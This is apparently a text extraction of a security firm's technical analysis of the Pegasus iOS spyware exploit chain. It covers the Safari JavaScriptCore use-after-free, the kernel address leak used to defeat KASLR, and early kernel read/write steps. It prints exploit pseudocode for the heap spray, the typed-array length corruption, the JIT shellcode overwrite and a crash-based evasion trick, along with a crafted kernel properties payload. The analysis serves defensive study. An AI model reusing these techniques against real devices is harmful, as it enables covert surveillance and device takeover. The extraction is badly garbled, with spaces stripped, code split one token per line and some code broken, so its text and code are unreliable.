Professional Documents
Culture Documents
ExploitsoniOS
Section1:PegasusExploitationofSafari(CVE20164657)
Background
Exploitation
Settingupandtriggeringthevulnerability
Acquiringanarbitraryread/writeprimitive
Leakinganobjectaddress
Nativecodeexecution
Evadingdetection
Section2:ExploitationofKASLRbyPegasus
DifferencesBetween32and64BitBinaries
APILoading
EnvironmentSetupandPlatformDetermination
DefeatingKASLR
EstablishingRead/Write/ExecutePrimitivesonPreviouslyRootedDevices(32Bit)
ThreadManipulation
EstablishingCommunicationChannel(32Bit)
PayloadConstructionandKernelInsertion(32Bit)
PayloadConstructionandKernelInsertion(64Bit)
EstablishingKernelRead/WritePrimitives(32Bit)
EstablishingKernelRead/WritePrimitives(64Bit)
EstablishingaKernelExecutePrimitive(32Bit)
PatchingtheKerneltoAllowKernelPortAccess
Section3:PrivilegeEscalationandActivatingtheJailbreakBinary
SystemModificationforPrivilegeEscalation
DisablingCodeSigning
RemountingtheDrive
Cleanup
NextStageInstallation
ExistingJailbreakDetection
Section4:PegasusPersistenceMechanism
PegasusPersistenceMechanism
JavaScriptCoreMemoryCorruptionIssue
Exploitation
Acquiringanarbitraryread/writeprimitive
Leakinganobjectaddress
Unsignednativecodeexecution
2
3
7
7
9
9
9
10
11
12
12
13
16
19
21
21
22
25
25
30
31
31
33
34
34
35
36
36
37
39
40
40
41
41
42
42
Page1
Section1:PegasusExploitationofSafari
(CVE20164657)
TheFirstStageofInfection
Page2
AnalysisofthePegasusSafariExploit
ThefirststageofPegasusexploitsavulnerabilityinWebKitsJavaScriptCorelibrary
(CVE20164657).TheexploitusestheSafariwebbrowsertorunaJavaScriptpayloadthat
exploitstheinitialvulnerabilitytogainarbitrarycodeexecutioninthecontextoftheSafari
WebContentprocess.
Background
ThevulnerabilityexistswithintheslowAppend()methodofMarkedArgumentBufferandcanbe
exploitedviatheusageofaMarkedArgumentBufferinthestaticdefineProperties()method.The
defineProperties()methodacceptsasinputanobjectwhoseownenumerableproperties
constitutedescriptorsforthepropertiestobedefinedormodifiedonanothertargetobject.The
algorithmusedtoassociateeachofthesepropertieswiththetargetobjectdoestwoiterationsof
theprovidedlistofproperties.Inthefirstpass,eachofthepropertydescriptorsischeckedfor
properformattingandaPropertyDescriptorobjectiscreatedthatreferencestheunderlying
value.
size_t
numProperties
=
propertyNames.size()
Vector<PropertyDescriptor>
descriptors
MarkedArgumentBuffer
markBuffer
for
(size_t
i
=
0
i
<
numProperties
i++)
JSValue
prop
=
properties>get(exec,
propertyNames[i])
if
(exec>hadException())
return
jsNull()
PropertyDescriptor
descriptor
if
(!toPropertyDescriptor(exec,
prop,
descriptor))
return
jsNull()
descriptors.append(descriptor)
Thesecondpassisperformedaftereachpropertyhasbeenvalidated.Thispassassociates
eachoftheusersuppliedpropertieswiththetargetobject,usingthetypespecific
defineOwnProperty()method.
for
(size_t
i
=
0
i
<
numProperties
i++)
Identifier
propertyName
=
propertyNames[i]
if
(exec>propertyNames().isPrivateName(propertyName))
continue
object>methodTable(exec>vm())>defineOwnProperty(object,
exec,
propertyName,
descriptors[i],
true)
ThismethodmayresultinuserdefinedJavaScriptmethods(thatareassociatedwiththe
propertybeingdefined)beingcalled.Withinanyoftheseuserdefinedmethods,itispossible
thatagarbagecollectioncyclemaybetriggered,resultinginanyunmarkedheapbacked
objectsbeingfree()ed.Therefore,itisimportantthateachofthetemporaryreferencestothese
Page3
objects,storedwithintheindividualPropertyDescriptorsinthedescriptorsvector,beindividually
markedtoensurethatthesereferencestonotbecomestale.Toachievethis,a
MarkedArgumentBufferisused.Thisclassisintendedtotemporarilypreventthevalues
appendedtoitfrombeinggarbagecollectedduringtheperiodforwhichitisinscope.
TounderstandhowMarkedArgumentBuffersworkwemustfirstunderstandsomebasicsof
JavaScriptCoregarbagecollection.Thegarbagecollectorisresponsiblefordeallocatingobjects
thatarenolongerreferencedandrunsatrandomintervalsthatincreaseinfrequencyasmore
memoryisusedbytheWebContentprocess.Todeterminewhetheranobjectisreferenced,the
garbagecollectorwalksthestackandlooksforreferencestotheobject.Referencestoanobject
mayalsoexistontheapplicationheap,however,soanalternatemechanism(whichwillbe
explainedindetailbelow)mustbeusedforthesecases.
AMarkedArgumentBufferinitiallyattemptstomaintainaninlinestackbuffercontainingeach
value.Whenthestackiswalkedwithingarbagecollection,eachvaluewillbenotedandthe
underlyingobjectswillavoiddeallocation.
class
MarkedArgumentBuffer
{
...
private:
static
const
size_t
inlineCapacity
=
8
public:
...
MarkedArgumentBuffer()
:
m_size(0)
,
m_capacity(inlineCapacity)
,
m_buffer(m_inlineBuffer)
,
m_markSet(0)
}
...
void
append(JSValue
v)
if
(m_size
>=
m_capacity)
return
slowAppend(v)
slotFor(m_size)
=
JSValue::encode(v)
++m_size
}
...
private:
...
int
m_size
int
m_capacity
EncodedJSValue
m_inlineBuffer[inlineCapacity]
EncodedJSValue*
m_buffer
ListSet*
m_markSet
Page4
Thesizeofthisinlinestackbufferislimitedtoeightvalues.Whentheninthvalueisaddedtoa
MarkedArgumentBuffer,theunderlyingbufferismovedtotheheapandthecapacityis
expanded.
void
MarkedArgumentBuffer::slowAppend(JSValue
v)
{
int
newCapacity
=
m_capacity
*
4
EncodedJSValue*
newBuffer
=
new
EncodedJSValue[newCapacity]
for
(int
i
=
0
i
<
m_capacity
++i)
newBuffer[i]
=
m_buffer[i]
if
(EncodedJSValue*
base
=
mallocBase())
delete
[]
base
m_buffer
=
newBuffer
m_capacity
=
newCapacity
Oncetheunderlyingbufferhasmovedtotheheap,valuesarenotautomaticallyprotectedfrom
garbagecollection.Toensurethattheseobjectsarenotdeallocated,thegarbagecollector
performsaMarkingArgumentBuffersphaseinwhicheachvaluecontainedwithina
MarkedArgumentBufferthathasbeenaddedtotheHeapsm_markListSetismarked(markinga
cellensuresthatitwillnotbedeallocatedinaparticulargarbagecollectioncycle).Forthis
methodofmarkingtowork,theMarkedArgumentBuffermustbeaddedtothemarkListSetatthe
sametimethattheMarkedArgumentBuffersunderlyingvaluesaremovedtotheheap.
//
As
long
as
our
size
stays
within
our
Vector's
inline
//
capacity,
all
our
values
are
allocated
on
the
stack,
and
//
therefore
don't
need
explicit
marking.
Once
our
size
exceeds
//
our
Vector's
inline
capacity,
though,
our
values
move
to
the
//
heap,
where
they
do
need
explicit
marking.
for
(int
i
=
0
i
<
m_size
++i)
Heap*
heap
=
Heap::heap(JSValue::decode(slotFor(i)))
if
(!heap)
continue
m_markSet
=
&heap>markListSet()
m_markSet>add(this)
break
Theabovecodeattemptstoacquiretheheapcontextforavalueandaddthe
MarkedArgumentBuffertotheHeapsmarkListSet.However,thisisonlyattemptedonceforthe
ninthvalueaddedtotheMarkedArgumentBuffer.
inline
Heap*
Heap::heap(const
JSValue
v)
{
if
(!v.isCell())
return
return
heap(v.asCell())
}
Page5
AJSValuecontainsatagwhichdescribesthetypeofthevaluethatitencodes.Inthecaseof
complexobjectsthistagwillbeCellTagandtheJSValuewillencodeapointertoanunderlying
itemontheHeap.Alternatively,forsimpletypeswheretheentireunderlyingvalueofthe
variablecanbeencodeddirectlyintoaJSValue(ex.Integers,Booleans,null,andundefined),
storingthevalueontheheapwouldberedundantandadifferentidentifyingtagwillbeused.
ThefunctionJSValue::isCell()isusedtodeterminewhetheraJSValueencodesapointertoa
cellontheHeap.Becausesimpletypesdonotpointtotheheap,attemptingtoacquiretheHeap
(viaacalltoHeap::heap())forthesetypeshasnomeaningandwillthereforereturnNULL.
inline
bool
JSValue::isCell()
const
{
return
!(u.asInt64
&
TagMask)
}
Asaresult,iftheninthvalueaddedtoaMarkedArgumentBufferisnotaheapbackedvalue,
attemptingtoacquiretheHeapcontextwillreturnNULLandtheMarkedArgumentBufferwill
neverbeaddedtotheHeapsmarkListSet.ThismeansthattheMarkedArgumentBufferwillno
longerserveitspurpose(toprotecttheitemsthatitcontainsfromdeallocation)foranyitemafter
theninth.Anyreferencetoaheapbackedproperty(aftertheninth)containedwithinthe
descriptorsvectorhasthepotentialtogostale.Inreality,atleastoneotherreferencetothese
valuesstillexists(theJavaScriptvariablethatwaspassedtodefineProperties()).Inorderforthe
referenceswithinthedescriptorsvectortogostale,theseremainingreferencestotheJSValue
mustalsoberemovedbeforegarbagecollectionoccurs.
ThecalltodefineOwnProperty()(withinthesecondloopofdefineProperties())mayresultin
callingusercontrolledmethodsdefinedonpropertyvalues.Asaresult,thelastmarked
Page6
referencestoapropertyvaluecouldberemovedwithinthisuserdefinedJavaScriptcode.If
garbagecollectioncanbetriggeredbetweentheremovalofallremainingreferencestoa
propertyvalueandthe(nowstale)valuefromthedescriptorsvectorbeingdefinedonthetarget
object,areferencetofree()edmemorywillbedefinedasapropertyonthetargetobject.
Exploitation
ThePegasusexploittriggersthisvulnerabilitybypassingaspecificallycraftedsequenceof
propertiestothedefineProperties()method.Whentheseindividualpropertiesaresubsequently
insertedintoaMarkedArgumentBufferthevulnerabilityistriggeredsuchthataJSArrayobject
willbeimproperlydeallocatedifgarbagecollectioncanbetriggeredatacriticalpointintime.
Becausegarbagecollectioncannotbetriggereddeterministically,theexploitmakesrepeated
attemptstotriggertheimproperdeallocationandsubsequentreallocation(foratotaloften
attempts),testingeachtimewhetherastalereferencehasbeensuccessfullyacquired.
Assuminggarbagecollectionhasbeentriggeredatthecorrecttime,anotherobjectisallocated
overthetopofthenowstaleJSArray.Theexploitthensetsupthetoolsneededtogainarbitrary
nativecodeexecution,namelyaread/writeprimitiveandtheabilitytoleaktheaddressofan
arbitraryJavaScriptobject.Oncethisiscompletetheexploitcancreateanexecutablemapping
containingthenativecodepayload.Thefollowingsectionsdetailthevariousstagesofthis
process.
Settingupandtriggeringthevulnerability
Inordertoachievearbitrarycodeexecution,theexploittriggersthevulnerablecodepathusing
aJSArrayobject.Thefollowingpseudocodeisusedtotriggerthevulnerability.
var
arr
=
new
Array(2047)
var
not_number
=
{}
not_number.toString
=
function()
arr
=
null
props["stale"]["value"]
=
null
//
Trigger
garbage
collection
and
reallocation
over
stale
object
return
10
var
props
=
{
p0
:
{
value
:
0
},
p1
:
{
value
:
1
},
p2
:
{
value
:
2
},
p3
:
{
value
:
3
},
p4
:
{
value
:
4
},
p5
:
{
value
:
5
},
p6
:
{
value
:
6
},
p7
:
{
value
:
7
},
p8
:
{
value
:
8
},
length
:
{
value
:
not_number
},
stale
:
{
value
:
arr
},
after
:
{
value
:
666
}
Page7
var
target
=
[]
Object.defineProperties(target,
props)
Thespecifiedpropsobjecthasbeenspecificallycraftedtotriggerthevulnerabilityin
slowAppend().WhentheninthpropertyisaddedtotheMarkedArgumentBuffer(p8),
slowAppend()willfailtoacquireaheapcontext(becausethevalueissimpletype,aninteger,
andnotbackedbyanitemontheheap).SubsequentHeapbackedvalues(not_numberand
arr)willnotbeexplicitlyprotectedfromdeallocationbytheMarkedArgumentBufferduring
garbagecollection.
WhendefineOwnProperty()iscalledforthelengthproperty,itwillattempttoconvertthevalue
(not_number)toanumber.Aspartofthiscodepath,thetoString()methodwillbecalled,
allowingthelasttworeferencestothearrJSArraytoberemoved.Onceremoved,thisJSArray
isnolongermarked,andthenextgarbagecollectionpasswilldeallocatetheobject.Pegasus
createsmemorypressure(allocatesalargeamountofmemory)withinthetoString()methodin
anattempttoforcegarbagecollectiontorun(anddeallocatethearrobject).
var
attempts
=
new
Array(4250000)
var
pressure
=
new
Array(100)
...
not_number.toString
=
function()
...
for
(var
i
=
0
i
<
pressure.length
i++)
pressure[i]
=
new
Uint32Array(262144)
var
buffer
=
new
ArrayBuffer(80)
var
uintArray
=
new
Uint32Array(buffer)
uintArray[0]
=
0xAABBCCDD
for
(i
=
0
i
<
attempts.length
i++)
attempts[i]
=
new
Uint32Array(buffer)
}
}
Eachofthe4.25millionUint32Arraysallocatedfortheattemptsarrayusethesamebacking
ArrayBuffer.TheseobjectsareusedtoattempttoreallocateaseriesofUint32Arraysintothe
samememoryreferencedbytheJSArrayobject(arr).
Oncecomplete,theexploitcheckstoseewhethergarbagecollectionwassuccessfully
triggered.
var
before_len
=
arr.length
Object.defineProperties(target,
props)
stale
=
target.stale
var
after_len
=
stale.length
if
(before_len
==
after_len)
throw
new
RecoverableException(8)
}
Page8
IfthelengthoftheJSArrayremainsthesameitmeansthateithergarbagecollectionwasnot
triggeredorthatnoneoftheallocatedUint32Arrayswereallocatedintothesameaddressasthe
staleobject.Inthesecases,theexploithasfailedandtheexploitisretried.
Acquiringanarbitraryread/writeprimitive
Assumingtheexploithassucceededtothispoint,therearenowtwoobjectsofdifferenttypes
thatarerepresentedbythesamememory.Thefirstisthe(nowstale)JSArray,andthesecond
isoneofthemanyUint32Arraysthatwereallocated(infact,theunderlyingtemplatedtypeis
JSGenericTypedArrayView).Byreadingfromandwritingtooffsetsintothestaleobject,member
variablesoftheJSGenericTypedArrayViewcanbereadorcorrupted.Specifically,theexploit
writestoanoffsetintothestaleJSArraythatoverlapswiththelengthofthe
JSGenericTypedArrayView,effectivelysettingthelengthoftheUint32Arrayto0xFFFFFFFF.
Corruptingthisvaluewillallowthearraytobetreatedasaviewoftheentirevirtualaddress
spaceoftheWebContentprocess(anarbitraryread/writeprimitive).
Theexploitstillmustdeterminewhichofthe4.25millionUint32Arraysthatwereallocatedaligns
withthestaleobject.Thiscanbedeterminedbyiteratingthrougheachofthearraysand
checkingwhetherthelengthhaschangedto0xFFFFFFFF.Allotherarrayswillstillhavethe
originalbackingArrayBuffer(oralengthof80/4).
for
(x
=
attempts.length
x
>=
x)
if
(attempts[x].length
!=
80
/
4)
if
(attempts[x].length
==
0xFFFFFFFF)
memory_view
=
attempts[x]
...
break
Leakinganobjectaddress
Thefinalcomponentneededtocompletetheexploitistheabilitytoleaktheaddressofan
arbitraryJavaScriptobject.ThePegasusexploitaccomplishesthisusingthesamemechanism
thatwasusedtocorruptthelengthoftheUint32Arrayusedfortheread/writeprimitive.By
writingtoanoffsetintothestaleobject,thebufferofaUint32Arrayiscorruptedtopointtoa
usercontrolledJSArray.BysettingthefirstelementofthatJSArraytotheJavaScriptobjectto
beleaked(bycorruptingthepointertotheunderlyingstorageoftheUint32Array),theobjects
addresscanbereadbackoutoftheUint32Array.
Nativecodeexecution
AllthatislefttodoforthefirststageofthePegasusexploitistocreateanexecutablemapping
thatwillcontaintheshellcodetobeexecuted.Toaccomplishthispurpose,aJSFunctionobject
iscreated(containinghundredsofemptytry/catchblocksthatwilllaterbeoverwritten).Tohelp
ensurethattheJavaScriptwillbecompiledintonativecodebytheJIT,thefunctionis
Page9
subsequentlycalledrepeatedly.ThisbehaviorensuresthattheJITcompiled(JITed)versionof
thefunction(whichwilllaterbeoverwritten)willbemarkedashighprioritycodethatislikelyto
becalledregularlyandshouldthereforenotbereleased.Becauseofthewaythatthe
JavaScriptCoreenginehandlesJITedcode,thiswillresideinanareaofmemorythatismapped
asread/write/execute.
var
body
=
''
for
(var
k
=
0
k
<
0x600
k++)
body
+=
'try
{}
catch(e)
{}'
}
var
to_overwrite
=
new
Function('a',
body)
for
(var
i
=
0
i
<
0x10000
i++)
to_overwrite()
}
TheaddressofthisJSFunctionobjectcanthenbeleakedandthevariousmemberscanberead
toacquiretheaddressoftheRWXmapping.TheJITedversionofthetry/catchblocksarethen
overwrittenwithshellcode,andtheto_overwrite()functioncansimplybecalledtoachieve
arbitrarycodeexecution.
Evadingdetection
Whenexploitationfails,thePegasusexploitcontainsabailoutcodepath,presumablytoensure
thatcrashdumpsdonotexposetheexploitablevulnerability.Thisbailoutcodetriggersacrash
onacleanNULLdereference.Mostlikely,ananalystanalyzingsuchacrashdumpwould
quicklyidentifythebugasanonexploitableNULLpointerdereferenceandnotsuspectanything
moresinister.Thefollowingcodeisusedtotriggerthiscleancrash.
window.__proto__.__proto__
=
null
x
=
new
String("a")
x.__proto__.__proto__.__proto__
=
window
x.Audio
Page10
Section2:ExploitationofKASLRbyPegasus
StageTwoofInfection:KernelLocationDisclosure
Once the attack is launched in the first stage, the second stage exploits a
kernel information leak (CVE20164655). This prepares the device for the
kernelmemorycorruption(CVE20164656)thatultimatelyleadstojailbreak.
Page11
AnalysisofPegasusKASLRExploit
Thesecondstage,Stage2,isresponsibleforescalatingprivilegesonthevictimsiPhoneand
establishinganenvironmentwherejailbreakingthevictimsdeviceispossible.TheStage2
binaryisusedintwodistinctcontextswithinPegasus.Bydefault,Stage2constitutesa
completeiOSkernelexploit.Alternatively,theStage2binaryattemptstodetectiOSdevicesthat
havealreadybeenjailbrokenand,incaseswhereanexistingjailbreakisdetected(andhas
installedaknownbackdoor),usesthepreexistingbackdoormechanismstoinstallPegasus
specifickernelpatches.
Inordertoperformthesetasks,Stage2mustfirstdeterminethelocationofthekernelin
memory,escalateitsownprivileges,disablesafeguards,andtheninstallthenecessarytoolsfor
jailbreakingadevice.InordertoaccommodatemultipleiPhoneversions,Stage2comesintwo
flavors,32bitand64bit.Together,thetwoversionsoftheStage2binarytargetatotalof199
iPhonecombinations.
TheStage2variantssharealotofdesignsimilarities,butdeviateenoughintheirapproachthat
itisbesttolookateachvariantinrelativeisolation.Thesubsectionsthatfollowwillwalkthrough
thestepsinvolvedineachoftheStage2variantswhilepointingoutareasofsimilaritybetween
thevariantswhentheyarise.
DifferencesBetween32and64BitBinaries
The32bitStage2binary(orsimply32Stage2)operatesontheolderiPhonemodels(iPhone
4SthroughiPhone5c)andtargetsiOS9.0throughiOS9.3.3.The64bitStage2binary(or
simply64Stage2)operatesontheneweriPhonemodels(iPhone5Sandlater)andtargetsiOS
9.0throughiOS9.3.3.Bothbinariesperformthesamegeneralstepsandexploitthesame
underlyingvulnerabilities.However,theexploitationofthesevulnerabilitiesvariesbetween
versions.Inareaswherethemechanismsdiffersubstantiallythedifferenceswillbespecifically
notedordiscussedseparately.
APILoading
Stage2requiresanumberofAPIfunctionstobepresentinordertosucceed.Inordertoensure
thefunctionsareavailable,Stage2dynamicallyloadsthenecessaryAPIfunctionaddressesvia
dlsym
calls.WhiledynamicallyresolvingAPIfunctionaddressesisbynomeansanovel
techniqueformalware,whatisinterestingaboutStage2sAPIloadingisthefactthatthe
authorsofthebinaryreloadmanyoftheAPIfunctionsmultipletimes.Inthem
ain
function
alone,alargenumberofAPIfunctionaddressesareloadedwithonlyasmallsubsetofthose
functionseverfindingthemselvesusedduringthecourseofStage2sexecution(forexample,
theaddressofs
ocket
isloadedintomemorybutisnevercalled).Afterloadingtheinitialsetof
Page12
APIfunctions,32stage2callsasubroutine(identifiedinthisreportasi
nitialize
)thatinturn
callsseveralothersubroutines,eachofwhichisresponsibleforloadingadditionalAPIfunctions
inadditiontoperformingvariousstartuptasks.
ThegroupingoftheAPIfunctionsbeingloaded(intermsofwhichAPIfunctionsareloadingby
whichStage2functions)andtheinclusionofmultipleAPIfunctionsbeingloadedmultipletimes
suggeststhattheAPIloadingisspecifictoindividualcomponentsoroperationsoftheStage2
binary.Forinstance,asdiscussedlater,apairoffunctionsareresponsiblefordecompressing
thejailbreakfiles,changingtheirpermissionsviac
hmod
,andpositioningthefilesinthecorrect
locationonthevictimsiPhone.TheAPIfunctionsresponsiblefortheseoperationsareall
loadedbyaselfcontainedfunction.TheloadingfunctiononlyloadsthoseAPIfunctionsthatare
necessaryforthedescribedoperations,andtheAPIsarenotsharedwithanyotherpartofthe
Stage2system.
TheanalysisofStage2wasalsomadesomewhateasiergiventheheavyuseofdebuglogging
throughoutthebinary.Callstotheloggingsubsystemgenerallyreferencetheoriginalfile
namesusedbytheexploitdevelopers.Thepresenceofthisdebuggingcodedisclosesthe
presenceofatleastthefollowingindividualmodules(orsubsystems):
1. fs.cLoadsAPIfunctionsrelatedtofileandfilesystemmanagementsuchasf
tw
,
open
,r
ead
,r
ename
,andm
ount
2. kaslr.cLoadsAPIfunctionssuchasI
ORegistryEntryGetChildIterator
,
IORegistryEntryGetProperty
,andI
OServiceGetMatchingService
that
relatetofindingtheaddressofthekernelusingavulnerabilityinthe
io_service_open_extended
function
3. bh.cLoadsAPIfunctionsthatrelatetothedecompressionofnextstagepayloadsand
theirproperplacementonthevictimsiPhonebyusingfunctionssuchas
BZ2_bzDecompress
,c
hmod
,andm
alloc
4. safari.cLoadsAPIfunctionssuchass
ync
,e
xit
,ands
trcpy
thatareusedfor
clearingSafaricachefilesandterminatingtheSafariprocess.Thiscleanupisrequired
forthecasewherewesucceedandexitcleanly,astheSafaricrashcleanup(described
intheStage1writeup)willneveroccur.
TheseartifactssuggestthattheStage2binaryisbasedonamodulardesignphilosophyor,at
theveryleast,ismadeupofvariouslibrarysourcecodefilesthatareultimatelytiedtogetherto
formtheStage2binary.ThevariouscomponentsthatmakeuptheStage2exploitwerelikely
designedtobereusedacrossmultipleiOSexploitchains.
EnvironmentSetupandPlatformDetermination
Afteri
nitialize
completes,Stage2callsafunctionthatspecifiesaglobalcallbackfunction
thatisusedwheneverStage2terminatesduetoanerror.Basedonthefilenamesuppliedinthe
writeLog,mostlikelythefunctionisana
ssert
stylecallback.
Page13
Inordertodeterminetheplatform(hardware)ofthevictimsdevice,acallismadeto
sysctlbyname
fortheh
w.machine
object.Anothercalltos
ysctlbyname
ismadeforthe
kern.osversion
information.Fromthesetwocalls,Stage2isabletoaccuratelydetermine
theplatformandiOSkernelversions.Thisinformationisthenusedtofindadatastructurethat
definesthevariousmemoryoffsetsthatStage2willuseforitsexploitationoperations.IfStage2
isunabletofindtheappropriatedatastructurefortheplatform/iOScombination,theprocess
executestheassertcallbackandexits.
Stage2usesalockfileduringitsexecution.Aspartofthesetupoftheworkingenvironment,
Stage2establishesthefilenameandpathglobalvariablesforthelockfileas
$HOME/tmp/lock
(N
ote:$HOMEisanapplicationspecificvariable).
The32bitversionoftheStage2binaryhas100differentcombinationsofplatformandiOSthat
itsupports,asidentifiedinthetablebelow.
iOSVersion
iPhone4S
iPhone5
iPhone5
iPhone5c
iPhone5c
(iPhone4,1) (iPhone5,1) (iPhone5,2) (iPhone5,3) (iPhone5,4)
9.0
9.0.1
9.0.2
9.1
9.2
9.2.1
9.3(13E233)
9.3(13E237)
9.3Beta
9.3Beta3
9.3Beta6
9.3Beta7
9.3.1
9.3.2Beta
Page14
9.3.2Beta2
9.3.2Beta3
9.3.2Beta4
9.3.2
9.3.3Beta
9.3.3Beta2
9.3.3Beta3
9.3.3Beta4
9.3.3
Similarly,the64bitversionoftheStage2binarysupports99differentiOSandiPhone
combinations.ThesupportediPhoneandiOSversionsof64Stage2areidentifiedinthetable
below.
iOS
Version
iPhone
5s
(iPhone6
,1)
iPhone
5s
(iPhone6
,2)
iPhone6
Plus
(iPhone7
,1)
iPhone6
(iPhone7
,2)
iPhone
6s
(iPhone8
,1)
iPhone
6sPlus
(iPhone8
,2)
iPhone
SE
(iPhone
8,4)
9.2.1
(13D15)
iOS9.2.1
(13D20)
9.3
(13E233)
9.3
(13E234)
9.3
(13E237)
9.3Beta
4
9.3Beta
6
Page15
9.3.1
9.3.2
Beta
9.3.2
Beta2
9.3.2
Beta3
9.3.2
Beta4
9.3.2
9.3.3
Beta
9.3.3
Beta2
9.3.3
Beta3
9.3.3
Beta4
9.3.3
9.3Beta
7
DefeatingKASLR
ThemajorityofStage2sfunctionalitydealswithmanipulatingthekernelinordertodisable
securityfeaturesonthevictimsdevice.Inordertomanipulatethekernel,Stage2mustfirst
locatethekernel.Undernormalcircumstancesthekernelwillbemappedintoarandomized
locationduetothekerneladdressspacelayoutrandomization(KASLR)mechanismthatiOS
employs.KASLRisdesignedtopreventprocessesfromlocatingthekernelinmemoryby
mappingthekerneltoapseudorandomlocationinmemoryeachtimethedeviceispoweredon
bytheuser.Inordertolocatethekernel,Stage2mustfindawaytoexposeamemoryaddress
withinkernelmemoryspacetoaprocessinuserspace.Stage2usesthevulnerability
CVE201646551inorderexposeamemoryaddressinkernelspace.
h
ttp://www.securityfocus.com/bid/92651
Page16
Inordertofindthekernel,Stage2beginsbyopeningaporttotheIOKitsubsystem.Failingthis,
Stage2callstheassertcallbackandexits.AcalltoI
OServiceMatching
fortheservice
namedA
ppleKeyStore
ismadebyStage2,andtheresultsofthecallaregivento
IOServiceGetMatchingService
inordertoobtainai
o_service_t
objectcontainingthe
desiredregisteredIOKitIOService(inthiscase,A
ppleKeyStore
).WiththeIOServicehandle,
Stage2callsi
o_service_open_extended
andpassesaspeciallycraftedpropertiesfieldto
theservice.Thepropertiesfieldisa(serialized)binaryrepresentationofXMLdatathat
io_service_open_extended
ultimatelypassestotheO
SUnserializeBinary
function
2
locatedinthekernel .WithintheO
SUnserializeBinary
functionisaswitchstatementthat
handlesthevarioustypesofdatastructuresfoundwithinabinaryXMLdatastructure.Thedata
typefork
OSSerializeNumber
blindlyacceptsthelengthofthedatawithoutperformingany
typeofreasonableboundchecking,whichultimatelygivesthecallertheabilitytorequestmore
memorythanshouldbeallowed.Thisconditionoccursduetothefollowingcodefragments:
len
=
(key
&
kOSSerializeDataMask)
...
case
kOSSerializeNumber:
bufferPos
+=
sizeof(long
long)
if
(bufferPos
>
bufferSize)
break
value
=
next[1]
value
<<=
32
value
|=
next[0]
=
OSNumber::withNumber(value,
len)
next
+=
break
Theerroristhatthel
en
variablepassedtoO
SNumber::withNumber
isnotvalidatedbefore
beingpassedto
OSNumber::withNumber.
U
ltimately,thefunction
OSNumber::init
is
called,whichblindlytruststhisusercontrolledvalue.
bool
OSNumber::init(unsigned
long
long
inValue,
unsigned
int
newNumberOfBits)
{
if
(!super::init())
return
false
size
=
newNumberOfBits
value
=
(inValue
&
sizeMask)
return
true
}
ThisvulnerabilityallowsStage2tocontrolthesizeofO
SNumber
.The
io_service_open_extended
functionpreparestheenvironmentfortheuseof
OSUnserializedBinary
,asecondfunctionthatisrequiredtoperformtheexploitation.
However,beforelookingattheexploitation,itisworthwhiletolookatthemalicious
properties
fieldpassedtoi
o_service_open_extended
:
h
ttp://opensource.apple.com/source/xnu/xnu3248.20.55/libkern/c++/OSSerializeBinary.cpp
Page17
unsigned
char
properties[]
=
{
//
kOSSerializeBinarySignature
0xD3,
0x00,
0x00,
0x00,
//
kOSSerializeEndCollecton
|
kOSSerializeDictionary
|
2
0x02,
0x00,
0x00,
0x81,
//
KEY
1
specified
as
30
bytes
long
(0x1E)
//
kOSSerializeSymbol
|
0x1E
0x1E,
0x00,
0x00,
0x08,
"HIDKeyboardModifierMappingSrc",
0x00,
//
(30
bytes)
//
padding
(30
+
3
/
4
=
8
DWORDS)
0x00,
0x00,
//
VALUE
//
kOSSerializeNumber
specified
as
0x800
bits
(256
bytes)
0x00,
0x08,
0x00,
0x04,
//
value
of
OSNumber
(4)
0x04,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
//
KEY
2
specified
as
30
bytes
long
(0x1E)
//
kOSSerializeSymbol
|
0x1E
0x1E,
0x00,
0x00,
0x08,
"HIDKeyboardModifierMappingDst",
0x00, //
(30
chars)
//
padding
(30
+
3
/
4
=
8
DWORDS)
0x00,
0x00,
//
VALUE
//
kOSSerializeEndCollecton
|
kOSSerializeNumber
|
32
0x20,
0x00,
0x00,
0x84,
//
value
of
OSNumber
(0x193)
0x93,
0x01,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00
}
Stage2callsI
ORegistryEntryGetProperty
inordertofindtheentryfor
HIDKeyboardModifierMappingSrc
,whichresultsinthep
roperties
arraycreatingan
OSNumber
largerthanthemaximum64bits(8bytes).Stage2usesthefollowingcodefragment
tocalli
s_io_registry_entry_get_property_bytes
,whichwillreadpasttheendofa
kernelstackbufferandcopythedatatoakernelheapbuffer.The
IORegistryEntryGetProperty
functionthenreturnsthisheapbuffertouserspace.
Pointersfromthisstackoverreadwillthereforebeleakedtousermodeandcanbeusedto
calculatethebaseaddressfortheiOSkernel:
do
{
...
}
while
(
IORegistryEntryGetProperty_0(v13,
"HIDKeyboardModifierMappingSrc",
dataBuffer,
&size)
)
writeLog(7,
"%.2s%5.5d\n",
"kaslr.c",
127)
if
(
size
>
8
)
{
writeLog(7,
"%.2s%5.5d\n",
"kaslr.c",
138)
return
dataBuffer[index]
&
0xFFF00000
}
Page18
Twoaspectsofthiscodeshouldbeexplicitlynoted.First,thepropertiesarrayspecifiesthatthe
OSNumber
valueis256bytesinsize,whichiswhatultimatelyleadstodataleakage.Second,
thei
ndex
valueusedtofindthememorylocationwithinthereturnedd
ataBuffer
arrayvaries
withtheplatform/iOScombination.ThedevelopersofStage2havemappedouteach
combinationofplatform/iOStodeterminewhatpositionwithinthed
ataBuffer
arrayavalid
kernellocationispresent.
IfStage2isunabletofindthebaseaddressforthekernelusingtheabovedescribedmethodor
ifStage2findsthatitisoperatingunderaversionofiOSotherthan9,theassertcallbackis
calledandtheapplicationterminates.
EstablishingRead/Write/ExecutePrimitivesonPreviouslyRooted
Devices(32Bit)
Afterfindingthekernelsbaseaddress,32Stage2generatesanIPCpipesetviathep
ipe
function.Ifthepipecommandfails,32Stage2callstheassertcallbackfunctionandexits.
Followingthegenerationofthepipeset,32Stage2usesakernelporttoobtaintheclock
servicesforthebatteryclock(alsoknownasthecalendarclock)andrealtimeclockviatwo
callstoh
ost_get_clock_service
.Ifeitheroftheclocksareinaccessible,theassertion
callbackiscalledand32Stage2exits.Thepipesetandtheclockportsarecriticaltoestablishing
abeachheadforgainingaccesstothekernelmemoryspaceasthecombinationofthethree
objects(thepipesetandthetwoclocks)arelaterusedforkernelmemoryreadandwriteaccess
aswellaskernelprocessspaceexecutionaccess.
Immediatelyfollowingthep
ipe
a
ndh
ost_get_clock_service
calls,32Stage2checksthe
valueoftheporttothekernelthatwasgeneratedpreviouslybycallingt
ask_from_pid
.If
task_from_pid
returnedavalid(nonNULL)port,32Stage2modifiesthekernelsmemoryby
writinga20bytedatastructureusingv
m_write
.The20bytedatastructureoverwritespartsof
thec
lock_ops
structuresforc
alend_ops
andr
